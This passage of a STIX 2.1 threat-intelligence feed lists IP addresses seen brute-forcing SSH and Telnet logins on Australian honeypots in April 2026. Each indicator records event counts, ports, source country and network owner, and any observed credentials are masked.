      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T05:15:11.000Z",
      "valid_until": "2026-05-31T05:15:03.000Z"
    },
    {
      "created": "2026-04-29T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: PH. ASN(s): 5065. Organisation(s): Bunny Communications.",
      "id": "indicator--000a67fa-6663-480b-aabc-f56a812f9960",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.126.85.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T05:15:11.000Z",
      "valid_until": "2026-05-31T05:15:03.000Z"
    },
    {
      "created": "2026-04-29T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 535. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): ***, 1**1, 1****1, ***, 1****3.",
      "id": "indicator--7b0516a8-a9bb-4dbd-be7a-897c602826fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '52.173.162.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T05:15:11.000Z",
      "valid_until": "2026-05-31T05:15:03.000Z"
    },
    {
      "created": "2026-04-29T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a***n. Passwords observed (masked): a*****0.",
      "id": "indicator--55317e72-56b0-4cac-9067-b238242f298f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.213.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T06:15:11.000Z",
      "valid_until": "2026-05-31T06:15:08.000Z"
    },
    {
      "created": "2026-04-29T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--667d1a62-d893-4dcb-8d59-f723b9c1d44a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.59.84.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T06:15:11.000Z",
      "valid_until": "2026-05-31T06:15:08.000Z"
    },
    {
      "created": "2026-04-29T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--89640d6f-6b9c-42d9-a1fe-5318a4dc1018",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '159.65.176.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T06:15:11.000Z",
      "valid_until": "2026-05-31T06:15:08.000Z"
    },
    {
      "created": "2026-04-29T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262285. Organisation(s): VIVAS TELECOMUNICACOES LTDA.",
      "id": "indicator--b49612dd-d301-44da-9450-70ede2822019",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.124.11.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T06:15:11.000Z",
      "valid_until": "2026-05-31T06:15:08.000Z"
    },
    {
      "created": "2026-04-29T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--9f51df9a-a98e-45c3-bd28-aac639ce7482",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.189.56.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T06:15:11.000Z",
      "valid_until": "2026-05-31T06:15:08.000Z"
    },
    {
      "created": "2026-04-29T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--278daf4e-503a-4915-b4f9-95f9ff5bc04c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T06:15:11.000Z",
      "valid_until": "2026-05-31T06:15:08.000Z"
    },
    {
      "created": "2026-04-29T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45609. Organisation(s): Bharti Airtel Ltd. AS for GPRS Service.",
      "id": "indicator--b4a9e752-32b4-4d3c-a1cd-37edafff8a23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.225.100.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T06:15:11.000Z",
      "valid_until": "2026-05-31T06:15:08.000Z"
    },
    {
      "created": "2026-04-29T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--22a5824e-5a7c-4e68-ba04-4243f3549501",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.15.239.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T06:15:11.000Z",
      "valid_until": "2026-05-31T06:15:08.000Z"
    },
    {
      "created": "2026-04-29T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--7e28e0d4-78ec-4957-bfb8-fd34eb06e5e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.79.224.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T06:15:11.000Z",
      "valid_until": "2026-05-31T06:15:08.000Z"
    },
    {
      "created": "2026-04-29T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 182. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CZ. ASN(s): 16019. Organisation(s): Vodafone Czech Republic a.s.. Usernames observed (masked): a***n, a****t, m***l, t**t, 3**********4. Passwords observed (masked): ***, 1**********C, *, 3***********4, 3**********4.",
      "id": "indicator--1766dab5-1d2f-4ff1-974c-58465d44330e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '78.44.192.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T06:15:11.000Z",
      "valid_until": "2026-05-31T06:15:08.000Z"
    },
    {
      "created": "2026-04-29T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb. Usernames observed (masked): r**t, a***n, m***l, p******s, t**t. Passwords observed (masked): ***, 1******X, 1**********C, 2****2, *.",
      "id": "indicator--bb80aa27-2b54-4578-aa91-e9f021612fd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.80.129.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T06:15:11.000Z",
      "valid_until": "2026-05-31T06:15:08.000Z"
    },
    {
      "created": "2026-04-29T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--828cb1c8-78ab-4ee0-96d8-3524f956424c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.243.11.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T06:15:11.000Z",
      "valid_until": "2026-05-31T06:15:08.000Z"
    },
    {
      "created": "2026-04-29T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45271. Organisation(s): Vodafone Idea Ltd.",
      "id": "indicator--71175745-d8c9-450c-818d-2b9f86cf4328",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '106.76.72.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T07:15:11.000Z",
      "valid_until": "2026-05-31T07:15:08.000Z"
    },
    {
      "created": "2026-04-29T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--e01abf32-09d2-457b-9d86-fe3bf740527d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '157.48.99.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T07:15:11.000Z",
      "valid_until": "2026-05-31T07:15:08.000Z"
    },
    {
      "created": "2026-04-29T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--6eae43de-d95d-44bb-b9bb-d2e9cb12f42c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '157.49.80.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T07:15:11.000Z",
      "valid_until": "2026-05-31T07:15:08.000Z"
    },
    {
      "created": "2026-04-29T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28202. Organisation(s): MASTER SA.",
      "id": "indicator--01532e49-3525-4216-869f-6b3111228561",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.44.42.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T07:15:11.000Z",
      "valid_until": "2026-05-31T07:15:08.000Z"
    },
    {
      "created": "2026-04-29T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--ab2dacdf-97d5-49a4-969c-ca28cb455adf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '181.94.75.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T07:15:11.000Z",
      "valid_until": "2026-05-31T07:15:08.000Z"
    },
    {
      "created": "2026-04-29T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********2, H**********************3.",
      "id": "indicator--befff950-1012-4ffc-ab0c-eda0a943deeb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.140.88.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T07:15:11.000Z",
      "valid_until": "2026-05-31T07:15:08.000Z"
    },
    {
      "created": "2026-04-29T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********0, H**********************3.",
      "id": "indicator--63df99bf-d11c-46fe-a082-a45d24fd05c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.79.200.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T07:15:11.000Z",
      "valid_until": "2026-05-31T07:15:08.000Z"
    },
    {
      "created": "2026-04-29T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 134186. Organisation(s): Paradise Technologies Limited.",
      "id": "indicator--16a15daa-ae11-4792-aa6b-84459342aaee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.117.60.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T07:15:11.000Z",
      "valid_until": "2026-05-31T07:15:08.000Z"
    },
    {
      "created": "2026-04-29T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20115. Organisation(s): Charter Communications LLC.",
      "id": "indicator--c8438af3-4ac9-487d-bfb8-edbce0588e38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.39.234.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T07:15:11.000Z",
      "valid_until": "2026-05-31T07:15:08.000Z"
    },
    {
      "created": "2026-04-29T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: RO. ASN(s): 204428. Organisation(s): SS-Net.",
      "id": "indicator--04a8387f-61ea-48d8-974f-b9dd09f40661",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T07:15:11.000Z",
      "valid_until": "2026-05-31T07:15:08.000Z"
    },
    {
      "created": "2026-04-29T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 9009. Organisation(s): M247 Europe SRL. Usernames observed (masked): r******r. Passwords observed (masked): m************k.",
      "id": "indicator--c51e36c8-78c0-4704-ab14-8fc6aff74b36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '135.136.19.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T08:15:06.000Z",
      "valid_until": "2026-05-31T08:15:03.000Z"
    },
    {
      "created": "2026-04-29T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266149. Organisation(s): BDC TELECOM.",
      "id": "indicator--d4912286-0be8-430c-910a-0def36d7b47d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.19.169.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T08:15:06.000Z",
      "valid_until": "2026-05-31T08:15:03.000Z"
    },
    {
      "created": "2026-04-29T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 17552. Organisation(s): True Online.",
      "id": "indicator--b4617eb6-d92a-428d-bf81-3db0b1db268f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.97.80.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T08:15:06.000Z",
      "valid_until": "2026-05-31T08:15:03.000Z"
    },
    {
      "created": "2026-04-29T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--6e981853-920b-4a54-ab54-e54aecd56508",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.106.222.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T08:15:06.000Z",
      "valid_until": "2026-05-31T08:15:03.000Z"
    },
    {
      "created": "2026-04-29T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********3, H**********************3.",
      "id": "indicator--fc50e066-50e2-41c8-b3a2-0d9cdbe17ea4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.140.58.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T08:15:06.000Z",
      "valid_until": "2026-05-31T08:15:03.000Z"
    },
    {
      "created": "2026-04-29T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 24535. Organisation(s): PT.Insan Sarana Telematika.",
      "id": "indicator--81a6be60-fdcc-4a49-9c4c-0c23b8c99ff5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.65.245.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T08:15:06.000Z",
      "valid_until": "2026-05-31T08:15:03.000Z"
    },
    {
      "created": "2026-04-29T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 203214. Organisation(s): Hulum Almustakbal Company for Communication Engineering and Services Ltd.",
      "id": "indicator--d17febf1-066b-4149-aa6b-b268c503f982",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.20.131.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T08:15:06.000Z",
      "valid_until": "2026-05-31T08:15:03.000Z"
    },
    {
      "created": "2026-04-29T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): e*****r. Passwords observed (masked): 1***5.",
      "id": "indicator--b2eb796f-5fcf-4c51-a52c-52cf5a943f31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '87.106.44.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T08:15:06.000Z",
      "valid_until": "2026-05-31T08:15:03.000Z"
    },
    {
      "created": "2026-04-29T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): u****u, r********r, 3**********4, f******n, r**t. Passwords observed (masked): 0******3, 1******r, 3***********4, 3**********4, a*******4.",
      "id": "indicator--1714e6af-c3c9-4f4a-bbc0-633bf0b102c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.199.176.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T09:15:10.000Z",
      "valid_until": "2026-05-31T09:15:08.000Z"
    },
    {
      "created": "2026-04-29T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): u****u, 3**********4, **, o***8, r**t. Passwords observed (masked): 1***5, 3***********4, 3**********4, 0******3, a******3.",
      "id": "indicator--490cbf6c-4950-446f-84f8-dc277b893125",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '114.34.106.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T09:15:10.000Z",
      "valid_until": "2026-05-31T09:15:08.000Z"
    },
    {
      "created": "2026-04-29T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 276. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): u****u, r**t, 3**********4, **, p******s. Passwords observed (masked): 1***5, 3***********4, 3**********4, 0******3, 1*****e.",
      "id": "indicator--f2411826-1302-4d6f-975a-2063662ca810",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-29T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.209.4.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T09:15:10.000Z",
      "valid_until": "2026-05-31T09:15:08.000Z"
